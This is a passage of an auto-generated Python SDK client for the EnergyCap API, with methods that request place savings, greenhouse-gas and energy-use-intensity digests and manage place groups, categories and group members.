~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_savings_monthly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestSavingsMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_savings_monthly.metadata = {'url': '/api/v3/place/{placeId}/digest/savings/monthly'}
def get_place_ghg_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up ghg billing data by building/organization for a
given number of years- Result includes use broken down by type and
scope.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceDigestGHGYearlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_ghg_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestGHGYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_ghg_yearly_list.metadata = {'url': '/api/v3/place/digest/ghg/yearly'}
def get_place_ghg_yearly(
self, place_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up ghg billing data by building/organization for a
given number of years- Result includes use broken down by type and
scope.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestGHGYearlyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceDigestGHGYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_ghg_yearly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestGHGYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_ghg_yearly.metadata = {'url': '/api/v3/place/{placeId}/digest/ghg/yearly'}
def get_place_ghg_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up ghg billing data by building/organization for a
given number of years- Result includes use broken down by type and
scope.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceDigestGHGMonthlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_ghg_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestGHGMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_place_ghg_monthly_list.metadata = {'url': '/api/v3/place/digest/ghg/monthly'}
def get_place_ghg_monthly(
self, place_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up ghg billing data by building/organization for a
given number of years- Result includes use broken down by type and
scope.
:param place_id: The place to retrieve data for
:type place_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestGHGMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestGHGMonthlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_ghg_monthly.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestGHGMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_ghg_monthly.metadata = {'url': '/api/v3/place/{placeId}/digest/ghg/monthly'}
def get_eui_chart_data(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves energy use intensity data for a place.
If data is requested for an organization, then all the places under the
organization will be rolled up.
:param place_id: The place to retrieve data for
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceDigestEnergyUseIntensity] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_eui_chart_data.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceDigestEnergyUseIntensity]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_eui_chart_data.metadata = {'url': '/api/v3/place/{placeId}/digest/energyUseIntensity'}
def get_place_normalized_use_comparison(
self, place_id, chart_months_to_exclude=None, num_months=None, comparison_years_ago=1, custom_headers=None, raw=False, **operation_config):
"""Return the total use and use for each commodity under a place for
comparison
Example calculating the current and previous ranges:
Today is 2022-10-06
chartMonthsToExclude = 2, numMonths = 6, comparisonYearsAgo = 3
CurrentPeriodRange is 202203 - 202208 and PreviousPeriodRange is 201903
- 201908.
:param place_id: Id of the place to lookup
:type place_id: int
:param chart_months_to_exclude: Optional, the number of months to
exclude from intensity data, 0 includes all months including the
current one. Defaults to the system setting otherwise 0.
:type chart_months_to_exclude: int
:param num_months: Optional, the number of months of intensity data to
include, the end month is respective of chartMonthsToExclude. Defaults
to 12.
:type num_months: int
:param comparison_years_ago: The comparisonYearsAgo is the number of
years to go back to do the comparison. Defaults to 1.
:type comparison_years_ago: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestComparisonResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestComparisonResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_normalized_use_comparison.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if chart_months_to_exclude is not None:
query_parameters['chartMonthsToExclude'] = self._serialize.query("chart_months_to_exclude", chart_months_to_exclude, 'int')
if num_months is not None:
query_parameters['numMonths'] = self._serialize.query("num_months", num_months, 'int')
if comparison_years_ago is not None:
query_parameters['comparisonYearsAgo'] = self._serialize.query("comparison_years_ago", comparison_years_ago, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestComparisonResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_normalized_use_comparison.metadata = {'url': '/api/v202208/place/{placeId}/digest/normalized/use/comparison'}
def get_place_calendarized_cost_comparison(
self, place_id, chart_months_to_exclude=None, num_months=None, comparison_years_ago=1, custom_headers=None, raw=False, **operation_config):
"""Return the total cost and cost for each commodity under a place for
comparison
Example calculating the current and previous ranges:
Today is 2022-10-06
chartMonthsToExclude = 2, numMonths = 6, comparisonYearsAgo = 3
CurrentPeriodRange is 202203 - 202208 and PreviousPeriodRange is 201903
- 201908.
:param place_id: Id of the place to lookup
:type place_id: int
:param chart_months_to_exclude: Optional, the number of months to
exclude from intensity data, 0 includes all months including the
current one. Defaults to the system setting otherwise 0.
:type chart_months_to_exclude: int
:param num_months: Optional, the number of months of intensity data to
include, the end month is respective of chartMonthsToExclude. Defaults
to 12.
:type num_months: int
:param comparison_years_ago: The comparisonYearsAgo is the number of
years to go back to do the comparison. Defaults to 1.
:type comparison_years_ago: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestComparisonResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestComparisonResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_calendarized_cost_comparison.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if chart_months_to_exclude is not None:
query_parameters['chartMonthsToExclude'] = self._serialize.query("chart_months_to_exclude", chart_months_to_exclude, 'int')
if num_months is not None:
query_parameters['numMonths'] = self._serialize.query("num_months", num_months, 'int')
if comparison_years_ago is not None:
query_parameters['comparisonYearsAgo'] = self._serialize.query("comparison_years_ago", comparison_years_ago, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestComparisonResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_calendarized_cost_comparison.metadata = {'url': '/api/v202208/place/{placeId}/digest/calendarized/cost/comparison'}
def get_place_calendarized_ghg_comparison(
self, place_id, chart_months_to_exclude=None, num_months=None, comparison_years_ago=1, custom_headers=None, raw=False, **operation_config):
"""Return the total ghg and ghg for each commodity under a place for
comparison
Example calculating the current and previous ranges:
Today is 2022-10-06
chartMonthsToExclude = 2, numMonths = 6, comparisonYearsAgo = 3
CurrentPeriodRange is 202203 - 202208 and PreviousPeriodRange is 201903
- 201908.
:param place_id: Id of the place to lookup
:type place_id: int
:param chart_months_to_exclude: Optional, the number of months to
exclude from intensity data, 0 includes all months including the
current one. Defaults to the system setting otherwise 0.
:type chart_months_to_exclude: int
:param num_months: Optional, the number of months of intensity data to
include, the end month is respective of chartMonthsToExclude. Defaults
to 12.
:type num_months: int
:param comparison_years_ago: The comparisonYearsAgo is the number of
years to go back to do the comparison. Defaults to 1.
:type comparison_years_ago: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestComparisonResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PlaceDigestComparisonResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_calendarized_ghg_comparison.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if chart_months_to_exclude is not None:
query_parameters['chartMonthsToExclude'] = self._serialize.query("chart_months_to_exclude", chart_months_to_exclude, 'int')
if num_months is not None:
query_parameters['numMonths'] = self._serialize.query("num_months", num_months, 'int')
if comparison_years_ago is not None:
query_parameters['comparisonYearsAgo'] = self._serialize.query("comparison_years_ago", comparison_years_ago, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestComparisonResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_calendarized_ghg_comparison.metadata = {'url': '/api/v202208/place/{placeId}/digest/calendarized/ghg/comparison'}
def get_all_place_groups(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets a list of place groups.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GroupPlaceGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_all_place_groups.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GroupPlaceGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_all_place_groups.metadata = {'url': '/api/v3/placeGroup'}
def create_place_group(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a place group.
:param body: Data representing the place group being created
:type body: ~energycap.sdk.models.PlaceGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupPlaceGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupPlaceGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_place_group.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupPlaceGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_place_group.metadata = {'url': '/api/v3/placeGroup'}
def get_place_group(
self, place_group_id, custom_headers=None, raw=False, **operation_config):
"""Gets a place group.
:param place_group_id:
:type place_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupPlaceGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupPlaceGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_group.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupPlaceGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_group.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}'}
def delete_place_group(
self, place_group_id, custom_headers=None, raw=False, **operation_config):
"""Delete a user-created place group.
:param place_group_id:
:type place_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_place_group.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_place_group.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}'}
def edit_place_group(
self, place_group_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a place group.
:param place_group_id: Id of the group to edit
:type place_group_id: int
:param body: Data representing the place group being edited
:type body: ~energycap.sdk.models.PlaceGroupRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupPlaceGroupResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupPlaceGroupResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_group.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceGroupRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupPlaceGroupResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_group.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}'}
def get_place_categories(
self, custom_headers=None, raw=False, **operation_config):
"""Gets a list of place categories.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceCategoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_categories.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceCategoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_categories.metadata = {'url': '/api/v3/placeGroup/category'}
def create_place_category(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a place group category.
:param body: Data representing the place group category being created
:type body: ~energycap.sdk.models.PlaceCategoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceCategoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceCategoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_place_category.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceCategoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceCategoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_place_category.metadata = {'url': '/api/v3/placeGroup/category'}
def get_place_group_members(
self, place_group_id, always_limit_by_topmost=False, custom_headers=None, raw=False, **operation_config):
"""Gets a list of place group members.
:param place_group_id:
:type place_group_id: int
:param always_limit_by_topmost:
:type always_limit_by_topmost: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GroupPlaceGroupMember] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_group_members.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if always_limit_by_topmost is not None:
query_parameters['alwaysLimitByTopmost'] = self._serialize.query("always_limit_by_topmost", always_limit_by_topmost, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GroupPlaceGroupMember]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_group_members.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}/member'}
def update_place_group_member(
self, place_group_id, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a group member's include in charts flag.
:param place_group_id:
:type place_group_id: int
:param place_id:
:type place_id: int
:param body:
:type body: ~energycap.sdk.models.GroupMemberRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GroupPlaceGroupMember or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GroupPlaceGroupMember or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_place_group_member.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int'),
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'GroupMemberRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GroupPlaceGroupMember', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_place_group_member.metadata = {'url': '/api/v3/placeGroup/{placeGroupId}/member/{placeId}'}
def include_all_place_group_member_in_charts(
self, place_group_id, custom_headers=None, raw=False, **operation_config):
"""Include all group members in charts.
:param place_group_id:
:type place_group_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.include_all_place_group_member_in_charts.metadata['url']
path_format_arguments = {
'placeGroupId': self._serialize.url("place_group_id", place_group_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
